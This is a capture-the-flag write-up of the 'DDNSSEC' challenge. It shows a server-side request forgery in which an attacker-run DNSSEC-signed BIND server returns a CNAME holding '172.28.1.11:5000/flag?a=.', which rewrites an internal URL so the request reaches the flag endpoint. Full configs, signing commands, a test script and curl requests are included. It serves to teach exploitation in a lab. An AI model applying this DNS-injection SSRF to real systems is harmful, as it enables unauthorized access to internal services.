DDNSSEC (Docker Domain Name System Security Extensions)
Résolution : 3 Difficulty : Hard
Sommaire
The challenge provides us with the source code.
Understanding
It consists of a docker-compose file where we can see 3 services.
services:
service_flag:
build:
context: ./service_flag
dockerfile: ../Dockerfile
environment:
FLAG: "wwf{nottherealflag}"
GUNICORN_WORKERS: "1"
networks:
custom_net:
ipv4_address: 172.28.1.11
service_hello:
build:
context: ./service_hello
dockerfile: ../Dockerfile
environment:
GUNICORN_WORKERS: "1"
networks:
custom_net:
ipv4_address: 172.28.1.12
service_resolver:
build:
context: ./service_resolver
dockerfile: ../Dockerfile
environment:
GUNICORN_WORKERS: "4"
ports:
- "5000:5000"
networks:
custom_net:
ipv4_address: 172.28.1.10
networks:
custom_net:
driver: bridge
ipam:
config:
- subnet: 172.28.1.0/24
The service_resolver
is our web page, which allows resolving an IP internally.
The service_hello
is the internal IP normally resolved by the challenge.
The service_flag
is our goal, the IP we want to resolve because with http://172.28.1.11/flag
, we get the flag.
With the following code, we can see that with a POST request, the user sends the IP of a DNS server, for example, 8.8.8.8 (Google's DNS), and it will resolve the domain name ctf.graa.nl
, retrieve the associated IP (here 172.28.1.12
), and then replace the IP in the URL. So, in the end, it calls http://172.28.1.12/status
.
@app.route("/", methods=["GET", "POST"])
def index():
server_ret = None
if request.method == "POST":
server_ret = "Something went wrong"
try:
resolver = request.form.get("resolver", "8.8.8.8")
resolver = str(ipaddress.ip_address(resolver))
domain = "graa.nl."
subdomain = "ctf.graa.nl."
cached = get_cached_server_ret(resolver)
if cached is not None:
return render_template("check.html", server_ret=cached)
ip = lookup_ip(domain, subdomain, resolver)
if ip:
url = f"http://{ip}:5000/status"
if is_valid_local_ip(urlparse(url).hostname):
res = requests.get(url)
server_ret = res.text
if 'flag' not in server_ret:
cache_server_ret(resolver, server_ret)
except Exception as e:
pass
return render_template("check.html", server_ret=server_ret)
Standard requests, the normal flow:
curl -iX POST http://localhost:5000 -H 'application/x-www-form-urlencoded ' -d 'resolver=8.8.8.8'
I noticed that we are manipulating the resolver, so I tried other DNS servers to see what would happen. Obviously, random IPs like 127.0.0.1
or others don’t work, but 9.9.9.9
does. From this, we can conclude that the server actually queries the DNS server on the internet.
Therefore, we simply need to create our own DNS server that uses DNSSEC.
Since we are manipulating the resolver, it’s possible to set up our own DNS server to control the resolution of the ctf.graa.nl
subdomain. However, the server checks that the DNS server uses DNSSEC, but it never verifies the origin of the server itself. This means we can create our own DNS server with DNSSEC and modify the IP address returned for ctf.graa.nl
.`
Creation of the DNSSEC server
root@vps:/etc/bind# cat named.conf
options {
directory "/var/cache/bind";
listen-on port 53 { any; };
allow-query { any; };
recursion no;
dnssec-validation auto;
};
include "/etc/bind/named.conf.local";
root@vps:/etc/bind# cat named.conf.local
zone "graa.nl" {
type master;
file "/etc/bind/zones/db.graa.nl.signed";
};
root@vps:/etc/bind/zones# cat db.graa.nl
$TTL 86400
@ IN SOA ns1.graa.nl. admin.graa.nl. (
2025072601 ; Serial
3600 ; Refresh
1800 ; Retry
1209600 ; Expire
86400 ) ; Minimum
@ IN NS ns1.graa.nl.
ns1 IN A 172.28.1.11
ctf IN A 172.28.1.11
root@vps:/etc/bind/zones# dnssec-keygen -a RSASHA256 -b 2048 -f KSK graa.nl
root@vps:/etc/bind/zones# dnssec-keygen -a RSASHA256 -b 1024 graa.nl
root@vps:/etc/bind/zones# cat /etc/bind/zones/Kgraa.nl.+008+*.key >> /etc/bind/zones/db.graa.nl
root@vps:/etc/bind/zones# dnssec-signzone -A -N INCREMENT -o graa.nl. -t /etc/bind/zones/db.graa.nl
root@vps:/etc/bind/zones# systemctl restart bind9
So after that, our DNSSEC is configured, and the server can retrieve our IP.
So with this request, we get:
curl -iX POST http://localhost:5000 -H 'application/x-www-form-urlencoded
' -d 'resolver=<IP_ATTACK_DNS>'
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 26 Jul 2025 15:33:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2461
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DNSSEC Resolver Test</title>
--SNIP
<h2>Response: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
</h2>
</body>
</html>%
The HTML response clearly shows different behavior; indeed, it says that the given URL was not found on the server because, in the service_flag
, we only have:
from flask import Flask
import os
FLAG=os.getenv("FLAG")
app = Flask(__name__)
@app.route("/flag")
def flag():
return f"The flag is {FLAG}"
And so, http://172.28.1.11/status
simply doesn’t exist.
Therefore, we need to find a way to request /flag
.
Bypassing the A record
At this point, we are manipulating the DNS server with our own DNS server. However, in an A record, according to RFC 1035, an A record is just an IP, nothing more. We can’t write:
ctf IN A 172.28.1.11:5000/flag?a=
However, when we look at the code, we can clearly see this function:
def fetch_a_record(subdomain, resolver):
request = dns.message.make_query(subdomain, dns.rdatatype.A, want_dnssec=True)
response = dns.query.udp(request, resolver, port=53, timeout=3)
if response.rcode() != 0:
raise RuntimeError(f"A record query failed with rcode: {response.rcode()}")
return response.answer
This function seems to query only DNS addresses of type A, but is that really the case? I did some tests, and it turns out it’s not; it also accepts CNAME records. But is that enough?
With this configuration:
root@vps:/etc/bind/zones# cat /etc/bind/zones/db.graa.nl
$TTL 86400
@ IN SOA ns1.graa.nl. admin.graa.nl. (
2025072601 ; Serial
3600 ; Refresh
1800 ; Retry
1209600 ; Expire
86400 ) ; Minimum
@ IN NS ns1.graa.nl.
ns1 IN A 172.28.1.11
ctf IN CNAME test.com.
root@vps:/etc/bind/zones# dnssec-signzone -A -N INCREMENT -o graa.nl. -t db.graa.nl
Verifying the zone using the following algorithms:
- RSASHA256
Zone fully signed:
Algorithm: RSASHA256: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
db.graa.nl.signed
Signatures generated: 9
Signatures retained: 0
Signatures dropped: 0
Signatures successfully verified: 0
Signatures unsuccessfully verified: 0
Signing time in seconds: 0.004
Signatures per second: 2250.000
Runtime in seconds: 0.022
root@vps:/etc/bind/zones# systemctl restart bind9
We create the CNAME from ctf.graa.nl
→ test.com
.
By extracting certain functions from the code to make testing easier, here’s what we get:
import dns.message
import dns.query
import dns.rdatatype
def fetch_a_record(subdomain, resolver):
"""
Fetch the A record for the given subdomain.
"""
request = dns.message.make_query(subdomain, dns.rdatatype.A, want_dnssec=True)
response = dns.query.udp(request, resolver, port=53, timeout=3)
if response.rcode() != 0:
raise RuntimeError(f"A record query failed with rcode: {response.rcode()}")
return response.answer
def is_rrsig_field(answer):
"""
Check if the given DNS answer is an RRSIG record. (DNSSEC signature)
"""
return answer.rdtype == dns.rdatatype.RRSIG
def get_domain_answer(answers):
entry = None
for answer in answers:
if is_rrsig_field(answer):
continue
entry = answer
if not entry:
return None
return entry
rep = fetch_a_record('ctf.graa.nl.', '<IP_ATTACK_DNS>')
print()
if rep:
domain_answer = get_domain_answer(rep)
if domain_answer:
print(f"Domain answer: {domain_answer.to_text()}")
print(f"Domain answer: {domain_answer.to_text().split()[4]}")
else:
print("No valid domain answer found.")
We get the following response:
Domain answer: ctf.graa.nl. 86400 IN CNAME test.com.
Domain answer: test.com.
The fetch_a_record
response does indeed retrieve the CNAME.
Question: Can we exploit the CNAME to write 172.28.1.11:5000/flag?a=
?
I quickly try:
ctf IN CNAME 172.28.1.11:5000/flag?a=
I write that and re-run the script, and then:
Traceback (most recent call last):
File "/home/lightender/Bureau/hack/world-wide-ctf-2025/test.py", line 32, in <module>
rep = fetch_a_record('ctf.graa.nl.', '<IP_ATTACK_DNS>')
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/lightender/Bureau/hack/world-wide-ctf-2025/test.py", line 12, in fetch_a_record
raise RuntimeError(f"A record query failed with rcode: {response.rcode()}")
RuntimeError: A record query failed with rcode: 3
Ah, we’re close! But basically, it doesn’t recognize it as a valid CNAME because a CNAME must end with a dot. So let’s try:
ctf IN CNAME 172.28.1.11:5000/flag?a=.
Now it extracts exactly the payload we provided.
Domain answer: ctf.graa.nl. 86400 IN CNAME 172.28.1.11:5000/flag?a=.
Domain answer: 172.28.1.11:5000/flag?a=.
In the end, in the url
variable, we therefore have:
http://172.28.1.11:5000/flag?a=.:5000/status
Which indeed allows modifying the endpoint to /flag
.
➜ ~ curl -iX POST https://dnssec.chall.wwctf.com -H 'application/x-www-form-urlencoded
' -d 'resolver=<IP_ATTACK_DNS>'
HTTP/1.1 200 OK
Server: nginx/1.29.0
Date: Sat, 26 Jul 2025 15:17:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2267
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
--SNIP
<h2>Response: The flag is wwf{Wh4tS_iN_A_cN4m3_THaT_wH1cH_w3_CaLl_An_rRs37}</h2>
</body>
</html>%